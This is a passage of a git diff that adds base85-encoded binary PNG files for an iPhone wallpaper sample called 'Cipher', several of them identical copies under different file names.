z%c3lIX30I#P^(aHOkOAfY`~6SyijPWd$lS)dhDKPLFv52W&a-Jp(k-z%|mFYKc$gS z(RIF{?r!6V`?zYWoI(e*>?TYY3BCi3k1(RCNFaPQy4wU%S zKjKZ=5X2Op0F2J3L8{y8d#PFmV@Z7{#$-O4BQ880z_t<2aw_W7B>mE7hd)mh3<+=hdtRc; zm=$O3tcrVy>h;d5OJ+!Co9R}zmzNY9ag`NJ51S{@!}EEi8^Tv|tmlcid(W)&ta`ku zS9Z^;J=;@|1%=KyghA+Mp3tp;H120Yj??L|ck9aMvN&DzK6|eR7m81DO-zrm!o#vg zyI-Wj&Fv?LN4z190QlqSTP(LP9djt6|NrOz1_{g!uC4zB|BuCYRNVpL$M~4pQRWes G$o~Zlhwr}t literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png new file mode 100644 index 0000000000000000000000000000000000000000..8936ec7bba6ce6c6213068e4cc376f204818a877 GIT binary patch literal 2030 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 new file mode 100644 index 0000000000000000000000000000000000000000..8936ec7bba6ce6c6213068e4cc376f204818a877 GIT binary patch literal 2030 zcma)73s4kg9A9M6ICD%pP)u`OFkjv6-YFp4J?6MO;E+QE3>Y+9ZujoCd+fElz=6+{ z%d$oVh7goed=3UgR+>@{YEG#6AYb74pfIf&#XwEVqHphz14*Zw`}Xepe!u_o`~Uy@ zeoAuu2+=qZ1VJMV3A$A9OA70`q2THIsVp6Wf4OIeQf}HG!vHe^GKkL8 z=BLmFWDp(X+Gu=s6b{FLKsa8X2NKbn)Bz4Xj+;v_a8YO~#WA_8iPGm$PCne53t$b` zvJ}BnI%WSB%IOUE!=_{t?%G=}w&jSNYf3;vTV$FXQY22y@DC=Zh0iT}gz zOE@mDeNKVWe5OZ!87*UHSl}FpVW!u-A2MjQDJ)~A?EvFa<6~iiUK=HgiHefQr7|y9 zxHmk7c2o9D9qpi;9H=oRBI^yrk7hj$^;%B@%>_*OR0?;C8ytj%%AiT!>euE6k|?KT z5F*@>Jy$65`A!<#s@&_KS18kufgmvq?Pn=#FeWq(tnii-o;@{9)7K6Jejl z$rE2^#uwS^HhTh9Hw_lk~eyBQo7mT2zjxj%pI+UGNBE-gKM*E+U->FLJcMbzO3 zv#}5BwO03v?gbL{!I4{;>T+A9ZDiYp_Pf=iqC%`tF(T9QPskm<=waDTn)8an&fk9`KVuAV?Z6tN{0RbsjkE zGUznv?oGEYHY5gW#6hPwc8n40UmG6M^U6fai!H&S%gU^y?u4I>4IQ%5)4Z|u40r9z z?z~P%-jo30E!Y2Z?P}JnHm;PsY`w7M<w^Ek^@_Jwlo`#N==n}BgVv^{3ZT)HFv6H)0nEuEp*B8kB09SwU>+KGes3) zo)by)Cw1y?+`nVFa$WVeI(uZ5v27t*mL1W$WBIOQ7xyG}t^cQey6M#P=CnUoD|BJC pq4iz&{!p#__1LifE<(_XPE~;CY@xwU>0<6Q*WtnUDD(nwhcRwMb!|#y^+z+Wvl@&-eXk zD|51^4;GFV3Iu||+H|!Ze46>^wMg*p{$+KpKoBvK$~AIET^4SlonpdF7m{M1(+zNe zK&J4y36q`VphD70x#aM@L&soEg!ua{;X3 zDuyIDQVkwCjGzal3WzU`4=Wa6H&C6tfS48rT9O|7(Oi#kbzW?4cfy@aKx+d zdlQcH?0{3CHDBscP)0>NXa+b3VwmbTAB40jRSrX2CgXAc0mz#Z5xU{N8xn+hCycOB^hUBrM* zwk)dTfd-Un)4JUqx-;;)A zyi1QMchqmL2v7O7jBB~_ENilKedl+>44em!5$Z4hOgF6k^Q!4m?fkp5_le%-BBqF1 zZ!W1FS-!J;(XNP#w?rM;6UG+ArVJ~xGs=!P3{`ngPTk6_Q0Okfgu*zs^~?oid3WK2 zI081_sPTeMT%oXw$fW_?Cb4Au3qkVv}MP)2Ra<#2k%~78~a!F=#zD)#vdM|Du}`B zH+ve+@B2Mvx_4;)s@(_6H-6Ar^YBjQjaZwt1)EWefuE!(cX~c65QxX|Pnd7Jq6k!o z)2fxZz72P-%QI9n<03mMD-_T`c;V)zLGK*6iHV$zm2*ti$xY#zb$a7KR>?%(lii=S zvzUl=L)w+&wOw{e$?<`Uk3U{>z}wDN6|;oUmtf<6LRc z=MBxH+RNI`$0rrOx9s$h0i(jZ{w__-s%mIH6js`OvZXWZ>DLezQ9bFiETvfp8-}i1 z*cPMS@qfSCyKhAMg5MOHV_`MnU1wS+-EV7*%Tuj6(>B~_h+aMNert5$l(Zph+oPMV kKj?}s`(tkA%JKM(P5HL<=e9;v@_!VxnrwA_>YRoD03hz@8UO$Q literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 new file mode 100644 index 0000000000000000000000000000000000000000..af6003c0a2dc2efa8f1ed9e48cb5a4f0f7beb2eb GIT binary patch literal 2657 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 new file mode 100644 index 0000000000000000000000000000000000000000..444aa763c81c35becd8c06cdecfa1159f300e13a GIT binary patch literal 2616 zcma)83s@6Z7M}P3$yTi_DhO=DprQ+TA|R2FFF<%GK?H09NOedi$(YAvlOYL;3TnUy zly{{H77;8(E67?XqAi)(`e3AZS_rHs8!-?*0FB&VSB5 z_a^%zBSPkqmyjU{nj01x6a~H|=6jA6cxoOL#z4^Qg;c+tFQ4A`Gc@zYAA?5LpN z31cwgz;c4nu<3Mz!9X*3(r~Se&h+*5r88J`7K;iPR9&)~K#Wwi&eiN<+(!_q6KgRI zf#GV3*(Z{SClMSN1~}!lGL>f1xmq`oJ*WfSh-m0c8iW2OStG{@TqnohVKNC%GenKp zR1R;2F(cFH1SWk4-Hc45gIWs&@6SS|dMgnf!PkRAOceDkL9g@H#UyJ`dK9X|leA)# zuSeB{tECno8aq&nA_N))ZVt?1u)L^D29?Q-VKCU{i$!JlFc_0$0WQI$$^VngWPADm zGO(IrgZ7Xh1oHpzCkxItv&Th&)_kv`DVsoCiEDv4kb|cs{1g-x7#OL=rI-?6x~Px< zN*F)To9XNAO=Z!T7Or{S*pZkKRf>Wz6{^;O9^=5wiA1K**mt3p=+R(vfe_;^&1=gJ zQz0@`h)D?fl(#7$997GvA?7twCYhUjqZ$LN%CZQw7>TAZkR*daeAxlc`ZH1&c%^6c){!w(4!ZL5>1nzgfsPx`jTWi*DZ5uZ8*1r%Cs-5Z*Wk zfZg~UIA6d)MV~yWz+m#ML)D;*wBRHgEV}FnL8LSc^ux41fS?t*Nx4_n1@P=LxTjY9 z7+T4X{GE-W;`+>TZ{AuF#YLLa6^#4O_~_8~!kjz95=Ng6+sr zx9;KfMT2+5H>-9%+uT5PBW8P0zwJ9vwQ%p3d-t52-Sv>#8?nqeev$tIy+X_Db&Spy zzUX`yW8w;K!U$L7{O#4h(LWtaTy_dIJ$iKZ^yg(!7qdrfx5GX@?)Ab(>k5cgn_qi=Z%M-ALqkv3^(>OhT3PF> zSl}ngMiUyVgCLr#`6d}FxOxbh=@%Bni!l~I{fDpI4zX_^Y*zbeE9Y#5cf-4d2-2UG zwQu+R4Y%cD=Y{T$?!3l7I`Zl=-S(MCHup+*o8|<2%yKC$qa5HZuoZYLKL{%cSx@88 zqmq8>&0k;nXPTR5=NiwE8L;KkwA{|Q6v|JX?e)pOW?DHn6x@rsznrm2oRr-d;&cZ3 z=BtF@r01E9!uD&c?vuu7$Im|_sra*~dmLKCqs^I5w#^EsQ*dK^C3wFx;H)qEWpTmv zuW~L`zV|9PmUEGBozpWfZ)`2@BHZp8zfQj^Wz$02=LKD)O{BvI=0(-+Gp!;WN;}85 z?sQFb=}3DX{Dqft*tg>AgY7$|ug)DMecv=FjwKI^quXU$a`9K9xU|K$3z)N%Ls=jF zuxub=V@GjAh7P*GQj-?;yr{1xS=FuVo6ETCv(w{gOT6;3J@oNNdv?YCfsy!=(Hp;1 zyiAQigu#b&KWp@f!eDxL?RR-MYzNYtM{|G3FZRf2Mozm5mS`4SU`4Ev&6jcY=-*{d z_uRrdw*rnq;#0fS?Mg5Hp{U=H`x#lY_(F7-OV5kJ;!8D|C$Dz5b*Cjb&^t#x;H`d{0#JG3v>^c8cQuJr!o(p|&N%YXFmUr0s3*&;AwU3VR* zzS-7;0GFb9yKb%QpO-8JnuLZyCJ z$4{?#Sh@X4%MxmNM$wT6b|-QJUZ%#5=HAG?V|d_u+WlNbVVp}F-+D#dR#U-Ia#-d& zua#+JP1eiW;U>4cC2{R7lKWQA3+t&;UxLx^w*UYD literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 new file mode 100644 index 0000000000000000000000000000000000000000..8936ec7bba6ce6c6213068e4cc376f204818a877 GIT binary patch literal 2030 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 